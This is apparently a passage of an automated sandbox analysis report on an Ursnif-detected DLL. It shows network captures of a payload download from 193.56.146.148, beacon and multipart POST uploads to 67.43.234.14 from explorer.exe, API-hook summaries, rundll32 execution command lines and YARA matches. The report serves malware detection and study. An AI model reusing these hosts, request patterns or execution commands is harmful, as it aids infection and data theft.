e1 34 bc 49 0b 4e 03 d6 c7 ce 0b f1 e9 32 62 03 f0 30 28 22 b2 c0 ec eb 3e e7 a0 f2 2d c7 19 3e 76 b2 f7 a6 d5 2a 6c 98 c5 e4 a9 a1 d2 21 29 69 73 2b 1f 9e 39 76 f2 76 e5 ee 98 17 25 97 60 97 d5 c6 c4 78 54 48 15 3f ff 56 fd 03 eb 0c b3 66 d4 e7 4a 5b 82 60 b6 ba 8e 2d a8 96 f9 11 2b 44 ee 2c 9c b1 39 2d 40 94 ef c2 c6 5e 73 e9 59 e1 1d b1 e6 0e 6a 56 42 b4 58 55 d2 47 3b f6 9d 01 8e 93 a2 08 26 c6 e6 a8 a9 d2 f6 03 41 3e 81 be ec 83 f4 e7 08 39 a6 cb ce a7 bd 1d 86 97 f7 f7 f1 41 ff 3f a1 f0 7f 29 dd 7c 63 2c fd 74 4a c2 13 90 d4 2a 31 53 47 d2 5b 97 be b5 8e 58 89 8a e4 b7 a6 0d 78 5b 0b 60 ee 16 0a 49 78 e9 1f 00 e7 c8 e7 2e cd d9 fe 0e 29 ff c7 11 53 66 5d 24 1e 97 75 c0 35 f7 9f 25 18 66 b6 9c 72 44 8b 83 3f 8f 27 2b e8 1a 2b 12 1e ec b1 40 56 57 35 56 40 e3 d5 7d 62 62 c6 44 9e 12 70 f7 44 aa 86 81 fb ee f4 5e 1a 94 e6 16 a8 4f 96 bc 13 3a 6a d8 7c 97 44 cf de 43 cd 09 a4 93 19 d8 c8 99 8e 7a 14 51 37 f5 3d 5e 4e c4 92 54 c0 eb 96 2a 2d 01 45 c8 4c 08 4e d0 f4 48 ab c9 ca 09 b9 b7 4a d2 6e b0 e7 1e b6 04 67 e0 d6 b3 a9 78 38 b0 8a 30 88 bc 34 6a 23 a9 32 01 15 12 3d f8 28 8d d9 e3 63 e6 fa b1 6d ea 35 41 83 29 1a 76 46 a1 ee 54 db 81 2c 06 83 b5 71 ac 91 ea 7c f7 b1 d2 83 55 5b 61 a8 fd b5 57 4f db 3e 9f 77 e7 ad 16 79 5b 76 47 7b 62 8f d7 42
                                          Data Ascii: OI>$%_2hPdQG7dDxE-n+dL((~u1,[8=V._$/hb{@q\89j'mu1$`#Y}Dv6;l[$PGv;IhaKO.1NZ~PmN&VIA3w$u=dLct\uei;&@=+ s~"#I'2>\VhS!1Yxn'nL=&vwd:Y=EC&](E]R>oDF*E!g@t6!*qSzBn"O'Jb/p kk8%}%%AWZ;Lkrb<I(]7+iz7X82Yd7),`g#.WR8D%M^^V*H"%V5s]r>;nK%btq%;UT"9/4IN2b0(">->v*l!)is+9vv%`xTH?VfJ[`-+D,9-@^sYjVBXUG;&A>9A?)|c,tJ*1SG[Xx[`Ix.)Sf]$u5%frD?'++@VW5V@}bbDpD^O:j|DCzQ7=^NT*-ELNHJngx804j#2=(cm5A)vFT,q|U[aWO>wy[vG{bB
                                          Apr 22, 2022 16:17:42.801275969 CEST9170OUTGET /cook64.rar HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 193.56.146.148
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:17:42.871933937 CEST9172INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:17:42 GMT
                                          Content-Type: application/x-rar-compressed
                                          Content-Length: 476823
                                          Last-Modified: Tue, 15 Feb 2022 12:21:38 GMT
                                          Connection: keep-alive
                                          ETag: "620b9ad2-74697"
                                          Accept-Ranges: bytes
                                          Data Raw: 0f 75 82 13 fa 7a ea 53 67 fc 55 b7 af 7a a0 f8 ca 72 94 ed 3d c2 18 7b 32 79 22 25 18 da 5a 6c eb c6 21 cb 91 1b 33 b6 b8 99 ba db 25 f0 15 9b 17 fd 86 f4 4f 67 5e ce ed 8e b0 58 4b b3 85 43 64 49 db de 55 7c b0 24 cd a0 99 b6 c1 6b 30 f2 50 d8 2e 8d 85 ba d6 a9 39 eb 55 bb 28 b3 c0 30 57 a1 75 72 30 8e 91 0d 5c 8a 82 b3 bd ab ef 18 60 95 75 3e 16 c2 58 a2 f3 1c 82 f9 85 e7 5c 9e f9 48 f8 94 27 dd 56 01 3c b8 67 86 25 81 3a 69 6f bf 62 dd ed 25 b7 fb 1c 3d 14 8d ec c3 ed 6b 9b 34 d0 e6 57 be 48 6b d0 2d 1f 98 93 3a 8f cc d7 e3 a0 af 3e d0 98 be d2 b0 40 c1 e8 dc 28 67 29 37 fe c2 50 2b 78 da d2 a9 3c 5f ba c3 70 dc cb 6c 47 75 42 69 0e 56 da d0 3e 0f fa a9 99 c3 f3 b7 be 34 8a d5 70 fe cd 95 68 19 be 83 27 96 33 7f 6f ba d9 53 09 9c 98 35 2b 91 f2 3e 33 fa 75 6a 77 79 6e 73 90 63 da 2d f5 6e 22 a3 bd 0a cf bf f7 74 7a 3b 64 32 7c a5 29 f2 03 31 88 b8 96 a7 ae 5f dc ee ff 99 fb 52 57 9b ec cc 38 72 0d 99 38 54 da b4 35 c5 c2 98 28 d9 63 5e 2d 8c 7b 8c c5 d2 25 82 45 2d 8a 10 88 c7 82 53 71 2d 52 3b 89 b3 79 d7 ad 05 70 55 4c 9c b4 9b fd 4d 9a 54 82 33 03 f0 8a a8 fd cc c0 9c 22 94 c5 94 d1 9b b4 1f 94 55 17 df fa 13 ba 8c 59 fe 5e 57 3a dc de cf 05 02 56 c5 d3 17 91 ba 01 80 b2 c0 36 b6 6a 4b 4e cb 8e 25 23 45 33 00 56 32 52 4b 4b 37 b6 67 ca 21 68 98 e5 94 09 7a 02 66 72 d8 b8 85 ab 86 b9 38 c3 70 6a 66 97 bf 8b d9 e9 9b 37 7f 28 e4 c2 f7 95 58 8c 54 10 e4 36 d2 96 1b 45 32 34 25 dc 2a d3 0d 2f c0 cd b8 4c a7 a5 22 1c 24 9d 43 26 bd 70 0a 01 89 49 df 91 26 35 60 7d d4 32 d4 a5 fb bd fb b9 b2 20 c2 fc ae ae 5c c8 0a 3e af 27 8c 3a 6d e8 04 1c ac e6 64 28 53 ca f9 d1 2d dd 32 14 e3 30 bc f6 8a 6b b9 b9 4b 3a 8d 85 f8 82 11 d5 d7 8e 97 7a e7 cc c3 c3 f1 2c 8a 69 82 45 eb 11 73 52 d0 f9 0e 92 17 a7 d9 8a 74 db 21 5e 93 24 e3 a1 4a 82 ee 76 80 ae fd ed d1 4a f2 ec f1 3c cf 09 d3 2b e7 57 18 2f e2 11 bb c7 f1 2b 4e 3d 53 33 63 4e 74 16 ce 80 77 6f e5 a1 1b 66 8c 2b bb 4a e6 97 8d 67 e2 39 cd 15 2f 56 3f 38 41 4c b5 8d c3 b3 4c e5 22 86 03 d3 19 bc ad de 79 eb 98 a1 f2 bd 8d ec 45 5d 96 d4 80 bd 79 d3 c4 31 1f 03 fa 68 36 e9 e2 56 92 e9 92 7d 46 6e f9 c4 d6 48 7d 5f 5b 5b 2f 2b 52 1f e0 f8 62 82 36 06 84 6b 5f 3b eb 4e 45 cc 35 f5 bf 3e 3c d2 86 77 24 ee d0 4a 19 37 b4 33 e5 48 a5 ab 32 2c 24 85 4a 29 41 51 a5 a5 89 fc fd ba 42 19 9d 55 18 e1 67 18 cf 36 79 16 9e 5c 14 10 f9 bd e3 4f 74 e2 fd 12 b1 73 67 75 c7 1d 69 ef ce 5d ea 33 07 96 d5 32 6a 68 a0 d7 2c 90 ac 92 c8 c4 8c 58 20 33 06 a7 1f 8f 2a 3c 1a 81 61 48 bd c4 3f 6e ae e6 df d9 e9 94 5a 38 f3 2c 1b 71 74 85 c3 02 be 82 37 93 08 92 c3 38 42 08 9c 37 b1 8a 06 01 c5 ab f3 17 b0 f0 1f 59 6f 76 c3 4b 52 d6 a1 af 62 50 61 66 0e a4 fe 0f 0a 1e 70 50 cc 76 ce 5e 2a 6e 73 73 fa bb d5 01 ae 1f 59 3c 69 be 85 a3 a5 04 1e c6 47 6c 3a e7 17 a7 e6 db cf 4a ff 6e cb c6 50 18 c2 ab ec ae db 7b 60 78 0f cd a4 74 f8 e2 2a ff 5a 65 02 fb fe 64 34 83 b4 23 b1 43 94 7b a2 2a 2d f9 1d 09 70 8a 8e 99 80 52 60 0a 39 79 76 ea 65 51 2f 7f f5 fc f5 0a bf 09 27 3c fa a8 cf 17 aa de 88 dc 66 45 a6 35 cf e9 7d 81 09 ec 05 7f 27 e4 9b 57 a4 b2 f1 63 00 ba 60 b0 4b 09 33 d8 7a 2a b2 18 24 5a 89 e4 87 3e 49 f4 95 86 9b 05 a0 31 c4 2f 4f c4 c2 f8 85 7d 08 d4 87 38 a1 f2 0e fc d6 33 bf 14 28 20 3c f6 ea d2 5a b1 d9 4f a6 61
                                          Data Ascii: uzSgUzr={2y"%Zl!3%Og^XKCdIU|$k0P.9U(0Wur0\`u>X\H'V<g%:iob%=k4WHk-:>@(g)7P+x<_plGuBiV>4ph'3oS5+>3ujwynsc-n"tz;d2|)1_RW8r8T5(c^-{%E-Sq-R;ypULMT3"UY^W:V6jKN%#E3V2RKK7g!hzfr8pjf7(XT6E24%*/L"$C&pI&5`}2 \>':md(S-20kK:z,iEsRt!^$JvJ<+W/+N=S3cNtwof+Jg9/V?8ALL"yE]y1h6V}FnH}_[[/+Rb6k_;NE5><w$J73H2,$J)AQBUg6y\Otsgui]32jh,X 3*<aH?nZ8,qt78B7YovKRbPafpPv^*nssY<iGl:JnP{`xt*Zed4#C{*-pR`9yveQ/'<fE5}'Wc`K3z*$Z>I1/O}83( <ZOa


                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                          2192.168.2.64984467.43.234.1480C:\Windows\explorer.exe
                                          TimestampkBytes transferredDirectionData
                                          Apr 22, 2022 16:17:43.570158958 CEST9670OUTGET /images/AoDLtoSAe/6DutmjjyTDh_2FQIHiYd/9oUyw2I2q90tROkr2KR/CWUpolUDaN3tzGChr_2Fou/FHzHk9QUMrSRZ/edSCIB1B/azzWY7zElPFGbO93RGKzQEV/_2BFkKFxQ8/998NdOxMsC3fIYEdc/Ie4_2B_2Fdrx/UGzDt2NGXpg/BvRBjI35WivTtB/QL0X0ILari4KdxRWbrbAr/dqxmqcvrNDaF_2Bj/dg1F4yD3XCaAWKh/cjFMlT2T0Dm12MNjNP/5xwNUsaBN/B99UzFhpyEcfojrdPWgD/_2FdFku_2FhlwUSz/g.gif HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 67.43.234.14
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:17:44.208116055 CEST9670INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:17:44 GMT
                                          Content-Type: text/html; charset=UTF-8
                                          Transfer-Encoding: chunked
                                          Connection: keep-alive
                                          Vary: Accept-Encoding
                                          Data Raw: 30 0d 0a 0d 0a
                                          Data Ascii: 0


                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                          3192.168.2.64984667.43.234.1480C:\Windows\explorer.exe
                                          TimestampkBytes transferredDirectionData
                                          Apr 22, 2022 16:17:54.570586920 CEST9678OUTPOST /images/vdoa2puIgygDcKHOof7W5Nx/Sm5x_2FLro/zObUXzRQyLPWX4K31/W76pZEGagBpT/o6IGunTWfCn/lXzKVuv3SgxDcg/QnnnzAZBFXh1ukr9Caozw/wPM7sTqNdf9sx_2F/Rne6TvIOz1EJrXu/g31KyfFRkwWQ7yEqN4/zXMBf0AoC/FcsOEsPhqIXCKsCLKvy2/p_2BCCsPTnYHLO5apYZ/ZOWl4UxrQhGJIiW3n82a5o/LRy86Sxl6Pzdu/NQ1r9_2F/M2tmRTakUsCXcEs_2FmAAzP/G6Sk1Uhj8yi4/tFtBd.bmp HTTP/1.1
                                          Content-Type: multipart/form-data; boundary=11596931742640080004178997978
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 67.43.234.14
                                          Content-Length: 56433
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:17:54.570643902 CEST9690OUTData Raw: 2d 2d 31 31 35 39 36 39 33 31 37 34 32 36 34 30 30 38 30 30 30 34 31 37 38 39 39 37 39 37 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 5f 66 69 6c 65
                                          Data Ascii: --11596931742640080004178997978Content-Disposition: form-data; name="upload_file"; filename="2DBE.bin"#{1Fho.9=XN$em4G8}a);eoA96g~#`}@}9d$.PSJ&w
                                          Apr 22, 2022 16:17:54.679055929 CEST9691OUTData Raw: f4 61 2d a4 3c ed 3a 61 de bf d8 14 0d 63 39 bb ce 4e 6d d4 e2 4c d7 d9 02 72 1b c8 7e bf 4e 51 06 96 2f b4 e7 86 bf 69 a8 34 20 ed e6 ef 72 26 e7 20 ab df 66 b8 57 de 27 b4 13 6e c9 aa b5 d0 fd 6c 57 a0 51 aa 56 66 a0 1b 2b dc db da 71 17 6d 37
                                          Data Ascii: a-<:ac9NmLr~NQ/i4 r& fW'nlWQVf+qm7Xqs\Y <2pFP]LO6;25\R?nWT{]3+_j)lV,KYZ\#vR_Gkt,2yx(6[i.EMJ#5d@Fa
                                          Apr 22, 2022 16:17:54.682475090 CEST9712OUTData Raw: 6c 92 b9 77 0d c0 4a 60 7c f7 61 92 a1 aa 72 08 3d 70 c1 52 fe 0a 9e e2 82 3f 3a 9f 1f 3e f0 2e 89 69 c9 dd ee 36 3c 23 52 7a 3a 56 cf 4f c5 d5 6c 2c 11 1d 2e 91 29 71 9b 78 4d d5 af 8e 4f 31 0c bc d0 27 09 8d 11 8f 00 41 bf f9 7a 52 9c 38 3f 13
                                          Data Ascii: lwJ`|ar=pR?:>.i6<#Rz:VOl,.)qxMO1'AzR8?-u)fW(K08E r|fgjtkJbxD~:T2Y>cWI&0Na4rA`_0=IR8*PP)5wIP>=\d=:r}<`W:rA
                                          Apr 22, 2022 16:17:54.683027029 CEST9715OUTData Raw: e6 56 8c 60 36 c6 4b 46 4e 55 39 d5 cd 3f 5f 14 f2 54 07 d1 54 b4 9e 80 6e e3 9d 22 3b 5e d3 ea 1d 08 ca 59 25 39 b3 82 41 05 72 26 c4 8c 25 ed 49 a1 ba f1 68 a5 ba 1b 25 e4 70 c8 51 e9 39 0c 49 de 17 52 5b ce 73 bb 89 86 0f 31 37 86 44 3f ee 84
                                          Data Ascii: V`6KFNU9?_TTn";^Y%9Ar&%Ih%pQ9IR[s17D?&etFIaQOm5_sE'6s8[ExIm} 2'gs#vY@mp6c*wEH&k4z3Da4YS3\XHX9Cyh6+QzVTluTqE
                                          Apr 22, 2022 16:17:54.787646055 CEST9718OUTData Raw: 05 46 00 e0 72 6c f5 60 8c 78 ed 53 57 ce 89 a0 14 1b 6e 40 e4 6c 4b 33 59 d0 c3 88 78 33 e2 e9 99 a0 6b 60 4d de e8 80 21 33 b9 1e 72 7a 13 95 96 ae 27 4f b6 21 a4 a2 67 ad 26 f6 f9 b5 60 5f af 8c 0b c0 28 59 d0 39 87 58 67 65 7e 75 62 19 cc 76
                                          Data Ascii: Frl`xSWn@lK3Yx3k`M!3rz'O!g&`_(Y9Xge~ubvCHMUv_\O;x'-LJ{G=T&\7GeorT(4\y_/~!m-?*@;-c T3z::'eQn,dh
                                          Apr 22, 2022 16:17:54.801800966 CEST9734OUTData Raw: 54 4e 40 04 c3 fa fe 3b 77 24 69 ad 51 83 12 56 63 f0 46 52 31 ea f6 0c 97 87 a8 5b 4c 8a 94 00 5c 73 fd 08 ca 76 96 dc c6 ae 62 d1 1b c2 0c 4b 53 64 77 81 f1 5d 1b 04 f2 42 ee 5b 7f 80 fc 8c a4 2c b9 0b fe db 9b 65 4b a8 95 83 65 20 39 4a 49 e7
                                          Data Ascii: TN@;w$iQVcFR1[L\svbKSdw]B[,eKe 9JIIv_{QH.,+zFL:?3Dx/v0>m38Rl33pMOCrCMjIpq W2,V1edEFMpa,lBxE=#/h&GVUz
                                          Apr 22, 2022 16:17:55.727977991 CEST9734INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:17:55 GMT
                                          Content-Type: text/html; charset=UTF-8
                                          Transfer-Encoding: chunked
                                          Connection: keep-alive
                                          Vary: Accept-Encoding
                                          Data Raw: 30 0d 0a 0d 0a
                                          Data Ascii: 0
                                          Apr 22, 2022 16:17:55.825753927 CEST9735OUTPOST /images/exH_2BV5hI6UV32xq/9iKc6ZjImWoQ/GIugApItTP6/eU0FsndbiatJlG/8sZ81QZwXTfmteOvaRx3j/YoZ9Z9WZVb88loFE/XwzEGCF_2FYd014/RsM17SCy13qQU2pAif/TMyGZBQvh/N26WrESLVWVbmtD7LEn9/Rx20gFSw1JZAg58DLOG/BJUKRsQbaNOa0owKYxus_2/BoGrwh_2BDKqm/DuvxAvK6/zywXiP_2Bz0bAUH1Ay0X5pY/Ej1B6Nr9jL/cJXSt0eQu6DGGZWaR/qgLa8p54JO9D/mFJ_2BIO/ix2MS.bmp HTTP/1.1
                                          Content-Type: multipart/form-data; boundary=10237571242640080004192591583
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 67.43.234.14
                                          Content-Length: 385
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Data Raw: 2d 2d 31 30 32 33 37 35 37 31 32 34 32 36 34 30 30 38 30 30 30 34 31 39 32 35 39 31 35 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 5f 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 37 42 43 33 2e 62 69 6e 22 0d 0a 0d 0a bd b0 f1 b6 42 83 6d 65 20 17 b7 fb 0d 60 e3 e2 8e a3 3d 4a a0 8f 53 32 cd a5 0d 3f d7 08 bf cf f4 c9 84 46 e2 bc 84 12 c0 c3 eb 2a e5 03 39 f0 51 30 6f 08 25 1f 0d 8c 35 e7 bf fd 2b a4 34 e4 a3 3f 1b a5 e0 ad 70 da d9 18 0c e9 08 df 88 03 7f 14 91 6e 2c 69 c2 3b 07 ce 1b 3c d4 9b 0b d9 d7 31 57 2d 0a cc c1 c3 8c 59 fd e9 25 83 65 d5 1a 69 75 ca 41 3a 04 b8 d7 d6 e1 b9 70 4c 46 1b 1c 38 1c a5 12 4b 46 bf e1 55 f7 c8 ef dc d0 f1 67 44 ca b3 44 9d 69 62 8b 5c 75 ec 35 e6 3c cf 38 8f be 4b 6b e5 e6 5d 26 9d f3 ce 48 68 4e b1 b8 6a 45 18 72 2f 38 c9 03 f5 51 e0 b9 01 97 cc 43 ab 9c 64 8f 0d 59 27 f3 4b 68 35 08 89 8b 40 e9 64 aa 92 d9 fc c8 62 7d b8 2c a0 d3 9b ee a8 42 c2 4d c4 68 17 66 1c 27 e3 e4 bc e3 1e 3a 89 0d 0a 2d 2d 31 30 32 33 37 35 37 31 32 34 32 36 34 30 30 38 30 30 30 34 31 39 32 35 39 31 35 38 33 2d 2d 0d 0a
                                          Data Ascii: --10237571242640080004192591583Content-Disposition: form-data; name="upload_file"; filename="7BC3.bin"Bme `=JS2?F*9Q0o%5+4?pn,i;<1W-Y%eiuA:pLF8KFUgDDib\u5<8Kk]&HhNjEr/8QCdY'Kh5@db},BMhf':--10237571242640080004192591583--
                                          Apr 22, 2022 16:17:56.469044924 CEST9735INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:17:56 GMT
                                          Content-Type: text/html; charset=UTF-8
                                          Transfer-Encoding: chunked
                                          Connection: keep-alive
                                          Vary: Accept-Encoding
                                          Data Raw: 30 0d 0a 0d 0a
                                          Data Ascii: 0
                                          Apr 22, 2022 16:17:57.449640989 CEST9736OUTPOST /images/fWI73R1_2Fi/dMEh0cq63rRCJy/hEJHCisV7TLXf6s5qDp3z/BCtN_2Bg1My_2Bxo/AhaNT6s6q6_2B58/OQZoTj4FY38JIpdz1z/MCQ_2Fvl2/KaObwwaShYciWGHB8igT/ebmAGB0PycjKyjC2pvQ/6aj0R0O7yrH6fMGLiN7rcC/6qFHr8cars3Gw/I8BuhPaS/BZ6BhWd8QiKaDrJK4XQp4Ag/g0wwOGo1XO/QfQATDgE2jY4Wf7L8/foVbicjFFFm0/9oroSq36Cxf/G6HPMi1wZ9ycu5/gwcS_2Bt/rdAx9WRg/N.bmp HTTP/1.1
                                          Content-Type: multipart/form-data; boundary=8643821742640080004208529078
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 67.43.234.14
                                          Content-Length: 559
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:17:57.449678898 CEST9737OUTData Raw: 2d 2d 38 36 34 33 38 32 31 37 34 32 36 34 30 30 38 30 30 30 34 32 30 38 35 32 39 30 37 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 5f 66 69 6c 65 22
                                          Data Ascii: --8643821742640080004208529078Content-Disposition: form-data; name="upload_file"; filename="FFD3.bin"1LeBB57Q8X!0:R Sz+:@Nn&Tx O2(}3:>(ELnfP*5w"[%A.jg]^lu
                                          Apr 22, 2022 16:17:58.082153082 CEST9737INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:17:58 GMT
                                          Content-Type: text/html; charset=UTF-8
                                          Transfer-Encoding: chunked
                                          Connection: keep-alive
                                          Vary: Accept-Encoding
                                          Data Raw: 30 0d 0a 0d 0a
                                          Data Ascii: 0


                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                          4192.168.2.64984867.43.234.3780C:\Windows\explorer.exe
                                          TimestampkBytes transferredDirectionData
                                          Apr 22, 2022 16:18:43.523910046 CEST9743OUTGET /images/hn9vDo5o2pdwMOj3di2/srMWN78hgDZUaczxPO5xxx/2O_2BS3ntQAQz/HnUcb3IT/8KnpgLjtplHN_2BEPqSF8QZ/cHtm5lTJOq/oTLlrsZ_2FnSt3L1j/Pc8IkXGbvady/p2WZlb867S8/9A0MeJ_2Bf5dgM/Eq4tZ0kF_2BtpXCObDeNb/z7e3J6dr_2FplJ56/bsJlbMROD_2Bomk/PfAQY77jeEzZAgeRyz/ayGbSxTMe/2FEuvtf4avwFHn_2BWAf/pOJpt5b_2FsOQqxnM7m/jDA3Wj8oGk9rEw_2Buu3H7/S72EfErm/f.gif HTTP/1.1
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)
                                          Host: 67.43.234.37
                                          Connection: Keep-Alive
                                          Cache-Control: no-cache
                                          Apr 22, 2022 16:18:44.161041021 CEST9744INHTTP/1.1 200 OK
                                          Server: nginx/1.18.0 (Ubuntu)
                                          Date: Fri, 22 Apr 2022 14:18:44 GMT
                                          Content-Type: text/html; charset=UTF-8
                                          Transfer-Encoding: chunked
                                          Connection: keep-alive
                                          Vary: Accept-Encoding
                                          Data Raw: 30 0d 0a 0d 0a
                                          Data Ascii: 0


                                          Code Manipulations

                                          User Modules

                                          Hook Summary

                                          Function NameHook TypeActive in Processes
                                          CreateProcessAsUserWEATexplorer.exe
                                          CreateProcessAsUserWINLINEexplorer.exe
                                          CreateProcessWEATexplorer.exe
                                          CreateProcessWINLINEexplorer.exe
                                          CreateProcessAEATexplorer.exe
                                          CreateProcessAINLINEexplorer.exe
                                          api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessWIATexplorer.exe
                                          api-ms-win-core-registry-l1-1-0.dll:RegGetValueWIATexplorer.exe

                                          Processes

                                          Process: explorer.exe, Module: KERNEL32.DLL
                                          Function NameHook TypeNew Data
                                          CreateProcessAsUserWEAT7FFF3FC1521C
                                          CreateProcessAsUserWINLINE0xFF 0xF2 0x25 0x50 0x00 0x00
                                          CreateProcessWEAT7FFF3FC15200
                                          CreateProcessWINLINE0xFF 0xF2 0x25 0x50 0x00 0x00
                                          CreateProcessAEAT7FFF3FC1520E
                                          CreateProcessAINLINE0xFF 0xF2 0x25 0x50 0x00 0x00
                                          Process: explorer.exe, Module: WININET.dll
                                          Function NameHook TypeNew Data
                                          api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessWIAT7FFF3FC15200
                                          api-ms-win-core-registry-l1-1-0.dll:RegGetValueWIAT5669B18
                                          Process: explorer.exe, Module: user32.dll
                                          Function NameHook TypeNew Data
                                          api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessWIAT7FFF3FC15200
                                          api-ms-win-core-registry-l1-1-0.dll:RegGetValueWIAT5669B18

                                          Statistics

                                          CPU Usage

                                          Click to jump to process

                                          Memory Usage

                                          Click to jump to process

                                          High Level Behavior Distribution

                                          Click to dive into process behavior distribution

                                          Behavior

                                          Click to jump to process

                                          System Behavior

                                          General

                                          Target ID:2
                                          Start time:16:14:48
                                          Start date:22/04/2022
                                          Path:C:\Windows\System32\loaddll32.exe
                                          Wow64 process (32bit):true
                                          Commandline:loaddll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll"
                                          Imagebase:0x1180000
                                          File size:116736 bytes
                                          MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high

                                          General

                                          Target ID:3
                                          Start time:16:14:49
                                          Start date:22/04/2022
                                          Path:C:\Windows\SysWOW64\cmd.exe
                                          Wow64 process (32bit):true
                                          Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1
                                          Imagebase:0xed0000
                                          File size:232960 bytes
                                          MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high

                                          General

                                          Target ID:4
                                          Start time:16:14:50
                                          Start date:22/04/2022
                                          Path:C:\Windows\SysWOW64\rundll32.exe
                                          Wow64 process (32bit):true
                                          Commandline:rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1
                                          Imagebase:0x1300000
                                          File size:61952 bytes
                                          MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Yara matches:
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.436099354.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.387911041.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.387848554.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000003.564167327.0000000004E39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.387690686.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.388080339.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.388156099.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000002.569771687.00000000052AF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000003.436035470.00000000055A9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.387614709.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.433046999.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.388142124.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.438809080.000000000542C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.387950801.0000000005628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
